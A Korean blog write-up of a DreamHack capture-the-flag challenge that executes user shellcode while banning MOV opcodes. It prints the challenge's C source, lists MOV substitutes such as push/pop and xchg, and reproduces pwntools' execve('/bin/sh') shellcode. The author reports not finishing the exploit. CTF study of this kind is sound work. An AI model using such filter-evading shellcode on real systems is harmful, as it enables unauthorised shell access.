1. 코드 분석
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
//입출력 시 버퍼링 하지 않도록 설정
void initialize() {
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
setvbuf(stderr, 0, _IOLBF, 0);
}
//문자열을 입력받아 금지된 바이트 코드 포함 여부를 확인함
int verify(uint8_t *sh, int len) {
const uint8_t banned[] = {
0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8E, // MOV
//0x88, 0x89 : 레지스터에서 레지스터, 레지스터에서 메모리로 바이트 또는 워드/더블워드를 복사
//0x8A, 0x8B : 메모리에서 레지스터로 바이트 도는 워드/더블워드 값을 복사
//0x8C, 0x8E : 세그먼트 레지스터와 일반 레지스터 사이를 복사
0xA0, 0xA1, 0xA2, 0xA3, // MOV
0xA4, 0xA5, // MOVS
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, // MOV
0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, // MOV
0xC6, 0xC7 // MOV
};
for (int i = 0; i < len; i++)
for (int j = 0; j < sizeof(banned); j++)
if (sh[i] == banned[j])
return 0;
return 1;
}
//random 64비트 주소값을 할당하고, 해당 주소의 포인터를 지정
uint8_t *get_mmaped_page() {
int urandom_fd = open("/dev/urandom", O_RDONLY);
uint64_t addr;
if (read(urandom_fd, &addr, sizeof(uint64_t)) != sizeof(uint64_t)) {
puts("Failed to read /dev/urandom");
return 0;
}
addr &= 0xffffffff000ul;
close(urandom_fd);
uint8_t *page = mmap((void *)addr, 0x1000, 7, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (page == MAP_FAILED || page != (uint8_t *) addr) {
puts("Failed to mmap");
return 0;
}
return page;
}
int main() {
initialize();
uint8_t *sh = get_mmaped_page();
uint8_t *stack = get_mmaped_page();
if (!sh || !stack) {
puts("Failed mmap");
return 1;
}
memset(sh, 0x90, 0x1000);
//sh주소에 NOP 명령어 항당
memset(stack, 0, 0x1000);
//stack주소에 4096바이트를 0으로 채움
printf("Give me your shellcode > ");
int len = read(0, sh, 0x800);
// 사용자가 입력한 값을 sh 에 저장 (최대 2048바이트)
if (verify(sh, len)) {
// Setup return address
//프로그램 싫행 흐름을 sh 이 가리키는 코드로 전환하기 위한 목적
*((uint64_t *)(stack + 0x7f8)) = (uint64_t)sh;
// Initialize registers...
asm("xor %rbx, %rbx");
asm("xor %rcx, %rcx");
asm("xor %rdx, %rdx");
asm("xor %rdi, %rdi");
asm("xor %rsi, %rsi");
asm("xor %r8, %r8");
asm("xor %r9, %r9");
asm("xor %r10, %r10");
asm("xor %r11, %r11");
asm("xor %r12, %r12");
asm("xor %r13, %r13");
asm("xor %r14, %r14");
asm("xor %r15, %r15");
// Setup new stack frame
asm("mov %0, %%rsp" :: "r"(stack + 0x7f8));
//rsp : stack pointer register, stack 최상단
asm("mov %0, %%rbp" :: "r"(stack + 0x800));
//rbp : base pointer register, 함수의 스택프레임의 시작 주소
asm("xor %rax, %rax");
//rax : accumlator register, 산술 연산의 결과 저장 구eax)
// Jump to shellcode
asm("ret");
} else {
puts("No.");
}
return 0;
}
2. 조건 파악
임이의 어셈블러 명령어를 사용자가 입력할 수 있기 때문에 쉘을 따거나, ORW 쉘코드를 작성해 falg 를 읽는 간단한 문제이나,
- 문제점은 MOV opcode를 사용 할수 없다는 점
- mov를 대체할 방법을 찾는 것이 이 문제의 핵심
1) push, pop 이용
> mov rax, 0x30 // 0x30 값을 rax 에 저장
> push 0x30 //스택 최상단에 0x30 저장
pop rax // 스택 최상단에 있는 값을 가져와서 rax 로 저장
2) xchg
> 한 레지스터에 저장되어 있는 값을 다른 레지스터로 옮기고 싶다면 xchg opcode를 이용할 수 있다.
> mov 는 소스 레지스터의 값을 데스티네이션 레지스터에 복사하지만, xchg 는 두 레지스터의 값을 서로 교체함!
3) 반복문이용
> mov rax, rdx 를 사용하고 싶다고 하자 (rax=0, rdx는 임의의 값)
- 그렇다면 rax가 rdx와 같아질때까지 INC를 이용해 1씩 증가시키는 방법
> xor rax, rax
loop_start:
inc rax
dec rdx
jnz loop_start
4) mov rax, 0 은 xor rax,rax로 대체 가능
3. 과정
=> mov를 사용하지 않고, execve("/bin/sh",0,0) syscall을 호출해 쉘 획득하는 것을 목표로 함
1) pwntools 을 통해 shellcraft.sh()을 호출하여, execve("/bin/sh") 셸코드 획득
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
2) mov 변환 후 pwn 코드 작성하여 실행하면 될 것으로 보이나, 마무리 하지 못함.
어셈블러흐름의 공부가 좀더 필요할 것으로 보이며, opcode 작성을 좀더 해봐야 될 껏으로 보임
'Hacking > DreamHack' 카테고리의 다른 글
arm traning v2 (0) | 2024.05.07 |
---|---|
arm training v1 (pwn) (0) | 2024.05.07 |
uaf_overwrite (1) | 2024.04.09 |
rev-basic-3 (0) | 2024.04.09 |
What-is-my-ip(5Round CTF) (0) | 2024.03.30 |